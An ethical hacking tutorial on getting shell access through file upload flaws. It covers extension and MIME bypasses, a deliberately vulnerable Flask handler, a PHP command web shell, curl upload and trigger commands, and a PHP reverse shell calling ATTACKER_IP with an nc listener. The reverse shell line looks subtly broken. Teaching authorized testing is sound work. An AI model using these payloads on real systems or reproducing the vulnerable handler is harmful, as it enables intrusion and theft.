Upload Vulnerabilities: Shell Access

Gain shell access via upload vulnerabilities in this ethical hacking tutorial. Learn the core concept, step-by-step exploitation, hands-on walkthrough, troubleshooting, and what to study next.

Focus: gain shell access via upload vulnerabilities

Sponsored

You’ve got a web application in scope, credentials to log in, and you’ve tested every parameter you can think of — but nothing sticks. Then you remember the file upload form in the profile settings. Uploading a file feels harmless because the app tells you it only accepts images. But under the hood, that upload handler might be doing nothing more than checking the file extension, and if you can slip a PHP, JSP, or ASPX file past it, you’re not uploading an image — you’re uploading an execution primitive. This lesson shows you how to turn a file upload vulnerability into a full shell on the target, the same way real penetration testers do it in engagements every day.

The problem this lesson solves

File upload functionality is everywhere — profile pictures, attachments, document portals, and invoice tools. Developers usually focus on making uploads fast and convenient, not on securing them, which makes them a goldmine for attackers. The problem isn’t the upload feature itself; it’s the trust the server places in whatever file the user submits.

When an upload handler only looks at the file extension or the MIME type header, an attacker can upload a file that contains executable code while pretending to be a benign image. If the server stores that file inside a directory where it can be served and executed, you have a remote code execution (RCE) primitive. From there, gaining a shell — whether a reverse shell or a web shell — is the logical next step.

For an ethical hacker, this matters because upload vulnerabilities bypass most perimeter defenses. Firewalls don’t inspect file content, and WAFs often miss embedded payloads. Finding and exploiting one can give you the same access as a critical RCE bug — often with far less effort. Understanding this attack lets you advise clients on how to harden their upload features and gives you a reliable foothold during authorized penetration tests.

Core concept / mental model

Think of a file upload handler as a bouncer at a nightclub who checks only the color of the ID card, never the photo or the date of birth. The extension is the color — .jpg looks safe, so it gets in. But the content of the file is the person — it can be an executable script wearing a .jpg costume. The server then places that file in a directory where it’s accessible and, if the environment is configured to execute scripts, it runs when requested.

The core idea behind gaining shell access via upload vulnerabilities is exactly this: the server treats the uploaded file as data, but the attacker exploits that the server also treats the file as code. The vulnerability exists because the trust boundary between user-controlled input and server-side execution is flawed.

Three conditions must hold for the attack to succeed:

  1. The file is stored in a web-accessible location (e.g., /uploads/).
  2. The file content is not validated beyond superficial checks (extension, MIME, or magic bytes).
  3. The server executes the file — either because the directory allows script execution or because the file extension is interpreted as code.

If any of those three is missing, you can’t gain a shell through that path. Your job as the attacker is to find where the handshake fails.

A mental model for the entire process: the upload is the door, the file is the key, and the shell is what’s behind the door. You need to fit the key into the lock — that’s the payload — and then turn it — that’s the request to the uploaded file.

How it works step by step

Gaining shell access via an upload vulnerability follows a consistent methodology. Each step moves you from user to code execution inside the target’s web root.

Step 1: Identify the upload point

Find any form that accepts files. Common locations include:

  • Profile picture uploads
  • Attachments in support tickets
  • Document or media libraries
  • Avatar or logo uploads in admin panels

Use your browser’s developer tools to inspect the form’s action URL and its enctype. If the form sends multipart/form-data, that’s your target.

Step 2: Test the validation logic

Upload a legitimate file (e.g., a small text file) and see how the server responds. Check what filename it gives the file, what directory it stores it in, and whether it’s directly downloadable. Then attempt a file with a code extension (.php, .jsp, .asp) and observe the error message. The error often reveals the validation rules: “Only images are allowed” means the check is on the extension or MIME;

Error messages are your friend. They leak configuration details you can use.

Step 3: Bypass superificial checks

If the server blocks .php, try common bypasses:

  • Use mixed case: .pHp
  • Append a double extension: shell.php.jpg
  • Use a null byte (on older systems): shell.php%00.jpg
  • Change the Content-Type header to image/jpeg
  • Add valid magic bytes (e.g., GIF89a) at the start of the file
  • Use alternative extensions like .phtml, .php3, .php5, or .pht

Each bypass works only if the server makes a flawed comparison. Test them systematically and log which one gets past the handler.

Step 4: Craft a payload

Once you can upload a file with executable code, your payload is the key. You have two main options:

  • Basic web shell — a single PHP script that executes system commands via ?cmd= parameters.
  • Reverse shell — a script that connects back to your machine, giving you a fully interactive shell.

We’ll cover both in the hands-on section.

Step 5: Locate and request the uploaded file

The server’s response after upload often reveals the storage path (e.g., /uploads/2024/01/myfile.png). If not, guess common directories or use directory listing. Request the file directly in your browser or with curl to trigger execution.

Step 6: Establish the shell

If the payload runs, you’ll see either command output or a connection back to your listener. That’s your foothold.

Hands-on walkthrough

Let’s practice with a local lab. We’ll use a deliberately vulnerable Python Flask app and a PHP-capable server. For a real-world feel, you could use DVWA or a HackTheBox machine, but this snippet teaches the mechanics.

First, set up a minimal vulnerable upload handler in Flask (just for learning — never deploy this):

from flask import Flask, request, send_from_directory
import os

app = Flask(__name__)
UPLOAD_FOLDER = "uploads"
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    # VULNERABLE: only checks extension
    if not file.filename.endswith((".jpg", ".png", ".gif")):
        return "Only images allowed", 400
    path = os.path.join(app.config["UPLOAD_FOLDER"], file.filename)
    file.save(path)
    return f"Uploaded to {path}"

@app.route("/uploads/<path:filename>")
def uploaded_file(filename):
    return send_from_directory(app.config["UPLOAD_FOLDER"], filename)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

Now, from your attacker machine, upload a PHP web shell. Even though the app is Python, the uploads directory might be served by an Apache or Nginx instance that executes PHP if placed in the same web root. In a real lab, that’s the setup.

Create a basic PHP web shell:

<?php
if (isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
} else {
    echo "Web shell ready";
}
?>

Upload it with a .php.jpg extension to bypass the naive extension check:

# Start a basic HTTP server for the lab (simulate the PHP-capable web server)
# Then, from the attacker machine:
curl -F "file=@shell.php.jpg;type=image/jpeg" http://victim:5000/upload

If the server responds with a path, request the file with a command:

curl "http://victim/uploads/shell.php.jpg?cmd=id"

Expected output:

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

You now have command execution. To gain an interactive reverse shell, craft a more powerful PHP payload:

<?php $sock = fsockopen("ATTACKER_IP", 4444); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

On your attacker machine, set up a listener:

nc -lvnp 4444

Then request the uploaded payload to trigger the connection:

curl "http://victim/uploads/revshell.php.jpg"

Your listener will show a shell prompt. This is a full interactive shell, not just a web shell.

Pro tip: Always test both web shells and reverse shells. Web shells work when outbound connections are blocked; reverse shells give you a proper TTY for later post-exploitation.

Compare options / when to choose what

You have several techniques to gain shell access. Here’s a comparison to help you decide which to use in a given situation:

Technique Easiness Reliability Use when
Direct PHP web shell (.php) High Medium The validator only checks extension and the web root executes PHP
Double extension (shell.php.jpg) Medium High The server checks only the first or last extension
Embedded magick bytes (GIF89a + PHP) Medium High The server checks file signatures (magic bytes)
Reverse shell (nc -e or php socket) Medium High You need an interactive shell for post-exploitation
Image shell (polyglot) Low Very high The upload is processed by an image library (e.g., ImageMagick) that can be tricked

Double extension works because some web servers pass the file to the interpreter for the first matching extension. Magic bytes bypass content-based checks because the first bytes look like a valid image. Polyglot files are a whole other rabbit hole — they’re valid images and valid scripts, often the most reliable when all checks are strict.

Troubleshooting & edge cases

The exploit will fail often. These are the common issues and how to diagnose them:

Symptom Likely cause Fix
403 Forbidden when requesting the uploaded file The web server refuses to execute scripts in the upload directory Try a different extension (.phtml, .php5) or upload to a different directory
Download instead of execution The web server isn’t configured to execute scripts there Move to a directory like /uploads that has exec enabled, or use a file that also passes as an image
“Upload successful” but no output when requesting The file content was stripped or the server doesn’t execute the code Check that your file contains a valid PHP tag; test with a simple phpinfo() first
MIME type check blocks the upload The server validates Content-Type Change the Content-Type to image/jpeg in curl -F
The shell turns into a blank page PHP code got mangled or the server doesn’t parse the extension Verify the file content by downloading it; try a different extension
The reverse shell never connects Firewall blocks outbound port, or the listener IP is wrong Use a web shell instead; try python -c reverse shell instead of nc

Edge case: ImageMagick / GD processing. If the app resizes images after upload, your PHP code may be destroyed. Use a polyglot image shell (a valid JPEG with PHP payload in the comment or EXIF) or rely on the file being served as-is. Always test what the server does to the file after upload.

Edge case: Race conditions. Some upload handlers store the file temporarily then move it. Sometimes you can request the temporary file before it’s deleted. Exploit this by timing your request immediately after upload.

What you learned & what's next

You now understand why file upload handlers are dangerous and how to systematically turn them into a shell:

  • You can explain the core idea: the server trusts the filename or MIME, but the content is executable.
  • You can apply the technique in a hands-on exercise: you’ve successfully uploaded a web shell and triggered a reverse shell.
  • You can connect this to the next lesson: once you have shell access, the journey continues with privilege escalation — finding a way to become root or admin.

The next lesson in this track is Privilege Escalation Basics. You’ll learn how to run commands as a higher-privileged user, enumerate the system for misconfigurations, and escalate from a low-privileged shell to full administrator access. Understanding upload exploitation is the entry point — knowing how to climb the ladder makes you a complete attacker.

Remember: always test within authorized environments. This skill is for defensive purposes — to identify and fix these flaws before real attackers exploit them. Use it wisely.

Practice recap

Set up a local DVWA or HackTheBox machine, navigate to the file upload module, and attempt to gain a reverse shell. First, try a double-extension bypass, then a magic-byte polyglot. Document which checks each bypassed and which were blocked — this prepares you for the next lesson on privilege escalation.

Common mistakes

  • Uploading a .php file directly when the server checks the first extension only — use shell.php.jpg instead.
  • Forgetting to change the Content-Type header when the server checks MIME — always set it to image/jpeg.
  • Ignoring the storage path returned by the upload response — guessing paths wastes time.
  • Assuming the web server executes scripts in every directory — test for execution by requesting a simple probe.

Variations

  1. Using a polyglot file that is both a valid image and a valid script to bypass magic byte checks.
  2. Leveraging .htaccess uploads to enable PHP execution in an otherwise static directory.
  3. Exploiting client-side validation by sending the request directly with curl instead of using the browser.

Real-world use cases

  • A penetration test of a corporate document portal: uploading a JSP web shell to gain RCE and pivot to internal networks.
  • A bug bounty engagement on an e-commerce site: exploiting the profile picture upload to read /etc/passwd.
  • An authorized red team operation: using a reverse shell from an upload to maintain persistent access for 30 days.

Key takeaways

  • Upload vulnerabilities arise when the server trusts file metadata over content, allowing executable code to be stored and run.
  • Systematically bypass validation by testing extension, MIME, and magic byte checks in order.
  • Always craft a payload that fits the environment — PHP for Apache, JSP for Tomcat, ASPX for IIS.
  • A web shell is a quick win; a reverse shell gives you a full interactive session for post-exploitation.
  • Troubleshoot failures by examining what the server does after upload: directory, execution, and file integrity.
  • Ethical hackers must test upload vulnerabilities legally — always stay within authorized scope.

Sponsored

Sponsored

Discussion

Questions, corrections, and tips help everyone reading this page.

0 comments

Add a comment

Shown publicly with your comment.

Be constructive · max 4,000 characters

No comments yet — start the thread.

Related tutorials, quizzes, and articles for this topic.